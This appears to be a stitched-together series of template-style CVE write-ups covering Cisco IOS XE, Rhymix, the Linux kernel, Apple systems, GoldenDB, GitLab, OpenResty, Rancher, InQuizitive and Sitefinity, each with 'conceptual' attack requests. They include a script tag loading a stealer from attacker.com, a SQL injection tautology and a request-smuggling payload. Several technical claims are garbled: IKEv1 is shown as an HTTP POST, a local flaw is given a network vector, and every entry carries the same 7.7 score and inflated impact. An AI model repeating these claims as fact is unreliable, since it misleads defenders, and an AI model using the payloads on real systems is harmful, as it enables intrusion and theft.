Author: Ameeba

Overview

The vulnerability CVE-2025-20192 is a significant flaw in the Internet Key Exchange version 1 (IKEv1) implementation of Cisco IOS XE Software. The vulnerability could potentially allow an authenticated, remote attacker to cause a denial of service (DoS) condition. This vulnerability is particularly concerning as it affects multiple versions of Cisco IOS XE Software, a widely-used networking software, and could lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-20192
Severity: High – 7.7 CVSS Score
Attack Vector: Network
Privileges Required: High (Valid IKEv1 VPN credentials are required)
User Interaction: None
Impact: A successful exploit could lead to a DoS condition, potential system compromise, or data leakage.

Affected Products

Product | Affected Versions

Cisco IOS XE Software | All versions prior to the patched release

How the Exploit Works

The vulnerability exists due to the improper validation of IKEv1 phase 2 parameters before the IPsec security association creation request is handed off to the hardware cryptographic accelerator of an affected device. An attacker could exploit this vulnerability by sending crafted IKEv1 messages to the affected device. A successful exploit could allow the attacker to cause the device to reload.

Conceptual Example Code

As a conceptual example, an attacker might send a malicious payload within an IKEv1 message like this:

POST /IKEv1/message HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
{ "IKEv1_payload": "malicious_crafted_parameters" }

This payload, containing improper phase 2 parameters, could then cause the device to reload, potentially causing a denial of service, system compromise, or data leakage.

Overview

The CVE-2025-45242 vulnerability targets the Rhymix v2.1.22 content management system. It allows an attacker to delete arbitrary files, which can potentially compromise the system or lead to data leakage. This vulnerability is particularly concerning because of the high CVSS severity score and the potential impact on systems running the affected software.

Vulnerability Summary

CVE ID: CVE-2025-45242
Severity: High (7.7 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Arbitrary file deletion leading to system compromise or data leakage

Affected Products

Product | Affected Versions

Rhymix | v2.1.22

How the Exploit Works

The vulnerability is exploited through the procFileAdminEditImage method in /file/file.admin.controller.php of Rhymix v2.1.22. An attacker can send a crafted request that triggers the deletion of arbitrary files on the server. This can lead to a disruption of services, data leakage, or even a full system compromise if system files are deleted.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability:

POST /file/file.admin.controller.php HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"method": "procFileAdminEditImage",
"target_file": "/path/to/important/file"
}

In this example, the “target_file” would be replaced with the path to an actual file the attacker wishes to delete.

Mitigation

The recommended mitigation for this vulnerability is to apply the vendor-provided patch. As a temporary measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to block attempts to exploit this vulnerability. However, these measures should not be considered a long-term solution, and patching the software is strongly advised.

Overview

This report details a recently disclosed vulnerability, CVE-2022-21546, that affects the Linux kernel. The vulnerability lies specifically in the scsi: target subsystem and can potentially lead to system compromise or data leakage. With a CVSS score of 7.7, this vulnerability presents a considerable risk for systems running on the Linux kernel and underscores the need for immediate remediation.

Vulnerability Summary

CVE ID: CVE-2022-21546
Severity: High (CVSS: 7.7)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Linux Kernel | Versions prior to patch

How the Exploit Works

The vulnerability resides in the WRITE_SAME function of the scsi: target subsystem in the Linux kernel. The WRITE_SAME function allows an attacker to use commands like “sg_write_same –ndob” to set a NDOB bit, indicating that there is no data buffer to be written out. When this bit is set, the system crashes when it tries to access the se_cmd->t_data_sg because it’s NULL. If an attacker were to send a normal WRITE_SAME command with no data buffer, they could potentially compromise the system or cause data leakage.

Conceptual Example Code

Here’s a conceptual command-line example of how the vulnerability might be exploited:

$ sg_write_same --ndob /dev/sda

In this example, the sg_write_same command is used with the –ndob option on a device file, leading to a possible crash or further exploitation.

Overview

This report discusses the technical details of the CVE-2025-24206, a critical vulnerability discovered in several Apple operating systems. The flaw allows a local attacker to bypass authentication policy, potentially compromising the system and leading to data leakage. This vulnerability is significant due to the widespread use of affected Apple products and the potential for severe damage.

Vulnerability Summary

CVE ID: CVE-2025-24206
Severity: High (7.7 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

macOS Sequoia | Up to 15.4
tvOS | Up to 18.4
macOS Ventura | Up to 13.7.5
iPadOS | Up to 17.7.6
macOS Sonoma | Up to 14.7.5
iOS | Up to 18.4
visionOS | Up to 2.4

How the Exploit Works

This vulnerability exploits a flaw in the state management of the affected Apple operating systems. An attacker on the local network can manipulate this flaw to bypass the system’s authentication policy. This could allow the attacker unauthorized access to the system, potentially enabling them to compromise the system and access sensitive data.

Conceptual Example Code

This is a conceptual representation of an attack that exploits this vulnerability. In this case, the attacker sends a specially crafted network request to the target system:

POST /auth/bypass HTTP/1.1
Host: target_system.local
Content-Type: application/json
{ "auth_bypass_payload": "..." }

This payload targets the vulnerable state management feature, leading to a bypass of the system’s authentication policy.

Overview

A new vulnerability has been discovered in the GoldenDB database product that could disrupt the normal operations of business SQL. The vulnerability, designated as CVE-2025-46580, can be exploited by attackers to access system tables, posing a significant threat to the integrity and confidentiality of the data contained within the database.

Vulnerability Summary

CVE ID: CVE-2025-46580
Severity: High (7.7 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

GoldenDB | All prior versions

How the Exploit Works

The vulnerability is code-related, meaning that it results from errors in the coding of the GoldenDB database product itself. Attackers can exploit this vulnerability by sending specially crafted SQL queries to the database, thereby gaining unauthorized access to system tables. This can disrupt the normal operation of business SQL and potentially lead to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited using a SQL injection attack:

SELECT * FROM system_tables WHERE table_name = 'users' OR '1'='1';

In this example, the attacker is attempting to access the ‘users’ system table by adding the condition ‘OR ‘1’=’1”, which will always evaluate to true, thereby bypassing any access controls that might be in place.

Mitigation Guidance

To mitigate this vulnerability, users of the GoldenDB database product should apply the latest vendor patch as soon as possible. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts to exploit this vulnerability.

Overview

The cybersecurity world has recently been rattled by the discovery of a new vulnerability, CVE-2025-1908, affecting GitLab EE/CE. This vulnerability has the potential to allow an attacker to monitor user browsing activity, and in extreme cases, take over their accounts. Given the extensive use of GitLab EE/CE across a broad range of industries, this vulnerability poses a substantial threat to data security and user privacy.

Vulnerability Summary

CVE ID: CVE-2025-1908
Severity: High (CVSS score 7.7)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

GitLab EE | 16.6 – 17.9.6, 17.10 – 17.10.4, 17.11 – 17.11.0
GitLab CE | 16.6 – 17.9.6, 17.10 – 17.10.4, 17.11 – 17.11.0

How the Exploit Works

The vulnerability exploits a flaw in the GitLab EE/CE codebase, which allows for session hijacking and user tracking. Once the attacker has this capability, they can monitor browsing activities to gather sensitive information, setting up for potential account take-over. This exploit relies on a network-based attack vector and requires user interaction to be successful.

Conceptual Example Code

Here is a conceptual example of how vulnerability might be exploited:

GET /victim/profile HTTP/1.1
Host: gitlab-vulnerable.example.com
Cookie: session_id=victim_session_id
{ "malicious_script": "<script src='http://attacker.com/steal.js'></script>" }

In this example, the attacker sends a specially crafted HTTP GET request to the GitLab server using the victim’s session ID. The malicious script embedded in the request is then executed, allowing the attacker to monitor the victim’s browsing activity or even take over their account.

Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a significant vulnerability, CVE-2024-33452, within OpenResty’s lua-nginx-module prior to version 0.10.26. This vulnerability can enable an attacker to smuggle HTTP requests, potentially compromising systems or leading to data leakage. It is of particular relevance to organizations using affected versions of this module in their web applications.

Vulnerability Summary

CVE ID: CVE-2024-33452
Severity: High (CVSS: 7.7)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

OpenResty lua-nginx-module | Before 0.10.26

How the Exploit Works

A remote attacker could exploit this vulnerability by sending a specially crafted HEAD request to the server running the affected software. This can cause the server to misinterpret the boundaries of HTTP requests and responses, a technique known as HTTP Request Smuggling. By doing so, the attacker can inject malicious content or commands, potentially leading to unauthorized access or data leakage.

Conceptual Example Code

An example of a malicious HEAD request might look something like this:

HEAD /target HTTP/1.1
Host: vulnerable.example.com
Content-Length: 50
Transfer-Encoding: chunked
0
GET /internal_data HTTP/1.1
Host: vulnerable.example.com

This example demonstrates a typical HTTP request smuggling attack in which the attacker’s second (smuggled) request is appended to the first request.

Mitigation

Users of the affected lua-nginx-module are advised to apply the vendor’s patch immediately to mitigate this vulnerability. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by detecting and blocking malicious HEAD requests.

Overview

The vulnerability, CVE-2024-52280, is a critical exposure flaw detected in SUSE rancher. This flaw allows unauthorized users to view protected resources, provided they possess some generic permissions on the type. This vulnerability holds significant implications for organizations using affected versions of SUSE rancher, potentially leading to system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2024-52280
Severity: High (7.7 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Unauthorized disclosure of information, potential system compromise, and data leakage.

Affected Products

Product | Affected Versions

SUSE rancher | before 2175e09
SUSE rancher | before 6e30359
SUSE rancher | before c744f0b

How the Exploit Works

The exploit works by a user leveraging their generic permissions to gain unauthorized access to sensitive resources. This flaw in the permission model of SUSE rancher allows users to view resources they are not allowed to access, exposing sensitive information that can be leveraged for further system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability via an API request:

GET /api/v1/namespaces/secret-namespace/secrets HTTP/1.1
Host: rancher.example.com
Authorization: Bearer <Generic-Permissions-Token>

In this example, the attacker uses a token that only has generic permissions to fetch secrets from a namespace that they are not authorized to access.

Mitigation

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as possible. If the patch cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation measures. These tools can help monitor network traffic, detect malicious activities, and block unauthorized access to sensitive resources.

Overview

W. W. Norton InQuizitive, an educational platform widely used by students, was discovered to contain a serious vulnerability that could allow students to insert arbitrary records of their quiz performance into the backend. This vulnerability, designated as CVE-2025-32808, is of particular concern as it could result in potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-32808
Severity: High (7.7 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Unauthorized modification of quiz performance records, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

W. W. Norton InQuizitive | All versions through 2025-04-08

How the Exploit Works

The exploit takes advantage of the lack of proper server-side access control in InQuizitive. An attacker, in this case, a student, can manipulate the client-side interface to insert arbitrary performance data into the backend database. This is possible because the validation and access control are only implemented on the client-side, which can be bypassed by a knowledgeable user.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. It represents a HTTP POST request, where a student sends an altered JSON payload to manipulate the quiz performance data in the backend.

POST /submit_quiz HTTP/1.1
Host: inquizitive.wwnorton.com
Content-Type: application/json
{
"user_id": "student123",
"quiz_id": "quiz567",
"quiz_score": 100
}

In this example, the student with user_id “student123” changes their quiz_score to 100, regardless of their actual performance. As there is no server-side validation, the score is accepted and inserted into the backend database.

Overview

This report delves into the details of the Insufficient Session Expiration vulnerability in Progress Software Corporation’s Sitefinity, identified as CVE-2025-1968. This vulnerability, under certain circumstances, allows the reuse of Session IDs, leading to potential Session Replay Attacks. As it affects multiple versions of Sitefinity, this issue is of critical importance to entities using the software, as it may lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-1968
Severity: High, with a CVSS score of 7.7
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: This vulnerability can lead to potential system compromise and data leakage by enabling unauthorized access through Session Replay Attacks.

Affected Products

Product | Affected Versions

Sitefinity | From 14.0 through 14.3
Sitefinity | From 14.4 before 14.4.8145
Sitefinity | From 15.0 before 15.0.8231
Sitefinity | From 15.1 before 15.1.8332
Sitefinity | From 15.2 before 15.2.8429

How the Exploit Works

The vulnerability originates from the insufficient session expiration in Sitefinity, which under certain specific and uncommon circumstances, allows Session IDs to be reused, leading to Session Replay Attacks. An attacker may capture and reuse a session ID to masquerade as an authenticated user, thus bypassing security measures and gaining unauthorized access to sensitive data or systems.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited:

GET /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Cookie: SESSIONID=ABC123

In this example, the attacker has obtained and used the “ABC123” Session ID, allowing them to make requests as if they were the authenticated user associated with that Session ID.